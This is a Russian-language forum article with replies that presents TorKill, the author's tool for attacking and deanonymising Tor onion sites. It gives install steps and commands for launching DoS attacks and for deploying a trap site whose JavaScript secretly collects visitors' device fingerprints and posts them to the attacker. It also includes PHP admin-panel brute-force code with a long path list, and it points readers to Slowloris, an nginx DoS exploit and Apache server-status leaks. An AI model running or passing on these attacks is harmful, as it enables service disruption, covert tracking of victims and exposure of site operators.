Статья TorKill - фреймворк для атаки на onion ресурсы.

26493



Как работает Tor
Тут все очень просто сначала ваши данные попадают на входной(охранный или сторожевой) узел, дальше они попадают на промежуточный узел, а потом на выходной. Кто нибудь задумывался почему логотип Tor'a именно луковица ? Потому что, чтобы добраться до нас нужно сначала снять все слои шифрования. Сама идея возникла в 1995 году при поддержке ВМС США . Потом к разработке присоединился отдел Министерства обороны США. Сеть Tor была создана так, чтобы относиться к узлам с минимальным доверием - это достигается путем шифрования.

Клиент шифрует данные так, чтобы их мог расшифровать только выходной узел. Эти данные затем снова шифруются, чтобы их мог расшифровать только промежуточный узел. А потом эти данные опять шифруются так, чтобы их мог расшифровать только сторожевой узел
  • Входной (или охранный, или сторожевой) узел — место, где ваши данные входят в сеть Tor. Причем выбирается не самый ближайший узел, а самый надежный, так что не удивляйтесь, если пинг оказывается на уровне пары сотен миллисекунд — это все для вашей безопасности.
  • Промежуточный узел — создан специально для того, чтобы с помощью выходного узла нельзя было отследить входной: самый максимум, что получится отследить, это как раз промежуточный узел. Сам узел обычно представляет виртуальный сервер, так что операторы сервера видят лишь зашифрованный трафик и ничего более.
  • Выходной узел — точка, откуда ваши данные отправляются уже на нужный адрес. Опять же — выбирается самый надежный сервер.
Мосты – непубликуемые в общем доступе узлы. Пользователи, оказавшиеся за стеной цензуры, могут использовать их для доступа в сеть Tor. Этот список, BridgeDB, выдаёт пользователям только по нескольку мостов за раз. Это разумно, так как много мостов сразу им и не нужно. Если этот список попадет в открытый доступ, то можно будет заблокировать Tor. В каждом Tor-клиенте вшита информация о десяти мощных узлах, поддерживаемых доверенными людьми. У этих узлов особая роль, они отслеживают состояние сети. Узлы называются - directory authorities. Они отвечают за распространение постоянно обновляемого списка всех известных ретрансляторов Tor, т.е именно они выбирают время и доступность узлов. Я думаю я смог донести до вас кратко принцип работы сеть, для тех кто об этом не знал и для тех кому надо было освежить память.

Принцип работы фреймворка
Основная цель TorKill - это сломать или взломать onion сайт. Я рекомендую использовать этот инструмент с onionscan, на форуме уже есть статья, от одного хорошего человека. Есть несколько легких вариантов сдеадонить сайт. Первый - это его положить, тогда в адресной строке мы увидим его настоящий ip. Второй - это найти незащищенный ssh отпечаток и использовать или . Инструмент может - это все, включая создание сайта ловушки.

Ссылка на github.

26494

Пример того, как с помощью DoS атаки Sh1ttyKids, смог обнаружить реальный адрес сайта по продаже наркотиков.

Чтобы не нагружать нашу систему инструмент отсылает запросы на подконтрольный мне сайт, который я зарегистрировал на хостинге. Теперь перейдем к установки дополнительных компонентов.
Если у вас не установлен pip:
Код:
apt-get install python-pip
Далее устанавливаем нужные компоненты:
Код:
python -m pip install paramiko
python -m pip install pysocks
python -m pip install colorama
python -m pip install BeautifulSoup
Библиотека - это парсер для синтаксического разбора файлов HTML/XML, написанный на языке программирования Python, который может преобразовать даже неправильную разметку в дерево синтаксического разбора. Он поддерживает простые и естественные способы навигации, поиска и модификации дерева синтаксического разбора.
Запускаем и видим:

20577

Чтобы запустить DoS атаку достаточно ввести:
Код:
python torkill.py -u http://target.com -t 100
Если вы хотите воспользоваться другим методом, например созданием сайта ловушки, то введите команду:
Код:
python torkill.py -u http://target.com -a 10
20548

Сейчас я сделаю небольшое отступление и расскажу о такой программе как . Одной командой в терминале програмаа делает ваш локальный сервер доступным всему интернету по специальному HTTPS адресу:
Код:
ngrok http 80
И вот скриншот работы программы:

20550

Если мы перейдем по сгенерированной ссылке, то увидим:

20551

Советую всем более подробней ознакомиться с данной программой.
Теперь вернемся к TorKill. Если мы перейдем по ссылке сгенерированной нашей программой, то сработает javascript код, который собирает информацию и отправляет post запрос в файл info.php.
Код:
{"dev":[{"platform":"Win32","browser":"Chrome\/67.0.3396.99","cores":"4","ram":"Not Available","vendor":"Google Inc.","render":"ANGLE (Intel(R) HD Graphics 4000 Direct$ect3D9Ex vs_3_0 ps_3_0)","ip":null,"ht":"768","wd":"1366","os":"Win64"}]}
Большинство скриптов для деанонимизации пишут на Javascript и вставляют в уязвимые сайты или заставляют под каким-нибудь предлогом перейти на специально созданный сайт ловушку. Этот код был у программы seeker, в дальнейшем я планирую улучшать этот код для сбора информации. Чтобы код сработал, достаточно, чтобы жертва открыла сайт на несколько секунд. Вы можете самостоятельно сделать верстку сайта.

При запуске программы она определяет сервер (кстати я очень много натыкался на сайты на которых стоит Apache) и определяет ip выходного узла. Узнав на чем расположен сайт можно его атаковать. Будь это Apache, то ищем под него эксплоиты или атакуем Slowloris, если nginx, то используем Nginx DoS. Также программа анализирует HTTP заголовки, ищет вход в панель администратора, ищет открытые директории, сканирует порты, собирает ссылки со страницы и получает fingerprint.

Еще 1 небольшое отступление, в котором я хочу рассказать о уязвимости в nginx. Это уязвимость позволяет положить сайт, который работает в связке nginx + php. Уязвимость позволяет исчерпать все ресурсы временными файлами, которые создаются при работе с данными форм вида multipart/form-data. эксплоит.

Я знаю, что на многих серьезных onion ресурсах стоит защита от DDoS, но она, или не срабатывала, или не помогала, скрипт я запускал на VPS с 5 гб. Даже когда я атаковал со своего компьютера многие сайты на Apache падали.

Теперь рассмотрим PHP код программы на примере функции Admin FInder:
Код:
$host = $_GET['host'];
$requests = $_GET['req'];
$ip = gethostbyname($host);
echo '<ip>'.$ip.'</ip><br/>';
if(isset($_GET['find'])){
    $admin = array("admin","administrator","adm","login","loign.php","administrator.php","admins.php","logins","admincp","admincp.php","admin1.php", "admin1.html", "admin2.php", "admin2.html", "yonetim.php", "yonetim.html", "yonetici.php", "yonetici.html", "ccms/", "ccms/login.php", "ccms/index.php", "maintenance/", "webmaster/", "adm/", "configuration/", "configure/", "websvn/", "admin/", "admin/account.php", "admin/account.html". "admin/index.php", "admin/index.html", "admin/login.php","admin/login.html", "admin/home.php", "admin/controlpanel.html", "admin/controlpanel.php", "admin.php", "admin.html", "admin/cp.php", "admin/cp.html", "cp.php", "cp.html", "administrator/","administrator/index.html", "administrator/index.php", "administrator/login.html", "administrator/login.php", "administrator/account.html", "administrator/account.php", "administrator.php","administrator.html", "login.php", "login.html", "modelsearch/login.php", "moderator.php", "moderator.html", "moderator/login.php", "moderator/login.html","moderator/admin.php","moderator/admin.html", "moderator/", "account.php", "account.html", "controlpanel/", "controlpanel.php", "controlpanel.html", "admincontrol.php", "admincontrol.html", "adminpanel.php","adminpanel.html", "admin1.asp", "admin2.asp", "yonetim.asp", "yonetici.asp", "admin/account.asp", "admin/index.asp", "admin/login.asp", "admin/home.asp", "admin/controlpanel.asp", "admin.asp", "admin/cp.asp", "cp.asp", "administrator/index.asp","administrator/login.asp","administrator/account.asp","administrator.asp", "login.asp", "modelsearch/login.asp", "moderator.asp","moderator/login.asp", "moderator/admin.asp", "account.asp", "controlpanel.asp", "admincontrol.asp", "adminpanel.asp", "fileadmin/", "fileadmin.php", "fileadmin.asp", "fileadmin.html","administration/", "administration.php", "administration.html", "sysadmin.php", "sysadmin.html", "phpmyadmin/", "myadmin/", "sysadmin.asp", "sysadmin/", "ur-admin.asp", "ur-admin.php","ur-admin.html", "ur-admin/", "Server.php", "Server.html", "Server.asp", "Server/", "wp-admin/", "administr8.php", "administr8.html", "administr8/", "administr8.asp", "webadmin/", "webadmin.php","webadmin.asp", "webadmin.html", "administratie/", "admins/", "admins.php", "admins.asp", "admins.html", "administrivia/", "Database_Administration/", "WebAdmin/", "useradmin/", "sysadmins/","admin1/", "system-administration/", "administrators/", "pgadmin/", "directadmin/", "staradmin/", "ServerAdministrator/", "SysAdmin/", "administer/", "LiveUser_Admin/", "sys-admin/", "typo3/","panel/", "cpanel/", "cPanel/", "cpanel_file/", "platz_login/", "rcLogin/", "blogindex/", "formslogin/", "autologin/", "support_login/", "meta_login/", "manuallogin/", "simpleLogin/", "loginflat/","utility_login/", "showlogin/", "memlogin/", "members/", "login-redirect/", "sub-login/", "wp-login/", "login1/", "dir-login/", "login_db/", "xlogin/", "smblogin/", "customer_login/", "UserLogin/","login-us/", "acct_login/", "admin_area/", "bigadmin/", "project-admins/", "phppgadmin/", "pureadmin/", "sql-admin/", "radmind/", "openvpnadmin/", "wizmysqladmin/", "vadmind/", "ezsqliteadmin/","hpwebjetadmin/", "newsadmin/", "adminpro/", "Lotus_Domino_Admin/", "bbadmin/", "vmailadmin/", "Indy_admin/", "ccp14admin/", "irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/","administratoraccounts/", "admin4_account/","admin4_colon/","radmind-1/","SuperAdmin/","AdminTools/","cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/", "navSiteAdmin/","server_admin_small/","logo_sysadmin/","server/","database_administration/","power_user/", "system_administration/", "ss_vms_admin_sm/");
    foreach ($admin as $shell){
        $headers = get_headers($host.$shell);
        if(stristr($headers[0],"200")){
            echo "<admin><a href='$host$shell'>$host$shell</a> Founded!</admin>";
        }
    }
}
Здесь все просто Torkill отправляет 2 GET запроса, 1 значение которого записывается в переменную $host, а второе дает понять какую функцию мы выбрали, в данный момент - это find, т.е запрос будет иметь такой вид:
Код:
http://target.com?find&host=target.onion
Вот как это выгядит на python:
Код:
 data = requests.get(host + '?find&host=' + target1, headers=headers, proxies=proxies).text

Я думаю, стоит закончить статью. В дальнейшем программа будет улучшаться.
 

Вложения

  • 1532207083828.png
    1532207083828.png
    15,5 КБ · Просмотры: 847
  • 1532207242229.png
    1532207242229.png
    13,2 КБ · Просмотры: 765
  • 1532208123591.png
    1532208123591.png
    11,7 КБ · Просмотры: 477
Последнее редактирование:
Также, если сервер Apache, то обязательно проверьте /server-status/, например , там вы можете увидеть аптайм сервера, использование ресурсов, данные о трафике, доступные виртуальные хосты, а также активные HTTP-запросы или ip адрес сервера.
Подробнее:
 
Последнее редактирование:
А почему, когда сайт падает, виден его настоящий ip?
 
Ах№№№ть!!!!!!. Спасибо за интересную статью. Еще год назад задавался вопросом о возможности деанонимизации ресурса в сети Тор, когда прочитал новость про взломы торговых площадок и сайтов с ДП.
 
А почему, когда сайт падает, виден его настоящий ip?
Из-за неправильных настроек сервера, при атаке система дает сбой. Я как-то читал, что ФБР использовала такую тактику, чтобы перенаправить трафик на подконтрольные им узлы.
 
Из-за неправильных настроек сервера, при атаке система дает сбой. Я как-то читал, что ФБР использовала такую тактику, чтобы перенаправить трафик на подконтрольные им узлы.
Можно подробнее, что именно неправильно и почему из-за досса виден ip, хочется суть понять.

P.S за информацию про apache - спасибо.
sudo a2dismod status
Module status disabled.
To activate the new configuration, you need to run:
systemctl restart apache2
 
Можно подробнее, что именно неправильно и почему из-за досса виден ip, хочется суть понять.

P.S за информацию про apache - спасибо.
sudo a2dismod status
Module status disabled.
To activate the new configuration, you need to run:
systemctl restart apache2
У тебя есть свой onion сайт ? Перейдем в личные сообщения.
 
Из-за неправильных настроек сервера, при атаке система дает сбой. Я как-то читал, что ФБР использовала такую тактику, чтобы перенаправить трафик на подконтрольные им узлы.

ФБР Тор pdf
FBI Tor pdf
FBI Tor Overview pdf
Tor Deanonymization pdf
Deanonymization Hidden Services pdf
Tor Hidden Services pdf
Tor Onion Services pdf
Onion Router pdf

tor.jpg
 
Последнее редактирование:
ТС, хорошая статья.

Код:
python -m pip install sockshandler
Collecting sockshandler
  Could not find a version that satisfies the requirement sockshandler (from versions: )
No matching distribution found for sockshandler

link removed - Page not found
Копии утилитки не осталось?
 
  • Нравится
Реакции: DefWolf
ТС, хорошая статья.

Код:
python -m pip install sockshandler
Collecting sockshandler
  Could not find a version that satisfies the requirement sockshandler (from versions: )
No matching distribution found for sockshandler

link removed - Page not found
Копии утилитки не осталось?
Осталось, сейчас идет доработка, улучшаю DoS и сайт ловушку, то что вы не смогли открыть страницу это ошибка с github, по поводу sockshandler, то его не надо устанавливать, он идет вместе с socks
 
Последнее редактирование:
  • Нравится
Реакции: ghost
link removed - Page not found
Копии утилитки не осталось?[/QUOTE]

попробуй с другого браузера зайти, у меня с лисой тоже самое было...
 
link removed - Page not found
Копии утилитки не осталось?

попробуй с другого браузера зайти, у меня с лисой тоже самое было...[/QUOTE]
Спасибо, но я другие браузеры не использую.)) На другие то страницы на гите заходит...
P.S. Включил воображение и подумал, где бы этот скрипт мог быть?
Провёл аналогию с другими скриптами на гите.
И даже банальное git clone link removed всё решило ))
 
Последнее редактирование:
  • Нравится
Реакции: DefWolf
Остались сейчас идет доработка, то что вы не смогли открыть страницу это ошибка с github, по поводу sockshandler, то его не надо устанавливать, он идет вместе с socks
попробуй с другого браузера зайти, у меня с лисой тоже самое было...
Спасибо, но я другие браузеры не использую.)) На другие то страницы на гите заходит...
P.S. Включил воображение и подумал, где бы этот скрипт мог быть?
Провёл аналогию с другими скриптами на гите.
И даже банальное git clone link removed всё решило ))[/QUOTE]
Я обновил ссылку на github в статье
 
  • Нравится
Реакции: ghost
Скрипт TorKill на каком python запускать 2.7 или 3.6 ?
 
ты запускаешь тор, чтобы уронить тор вот она закономерность
 
Помогите советом, не получается открыть из консоли ТорКилл. Выдает следющую ошибку:
from: can't read /var/mail/BeautifulSoup
from: can't read /var/mail/sockshandler
from: can't read /var/mail/colorama
./TorKill.py: строка 23: синтаксическая ошибка рядом с неожиданным маркером «$'"""\n\n\n████████╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗ ██╗ \n╚══██╔══╝██╔═══██╗██╔══██╗██║ ██╔╝██║██║ ██║ \n ██║ ██║ ██║██████╔╝█████╔╝ ██║██║ ██║ \n ██║ ██║ ██║██╔══██╗██╔═██╗ ██║██║ ██║ \n ██║ ╚██████╔╝██║ ██║██║ ██╗██║███████╗███████╗\n ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝ \n\n Connecting to the Tor...\n\n [+]███████████████████████████████[+] \n """'»
./TorKill.py: строка 23: ` """)'
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!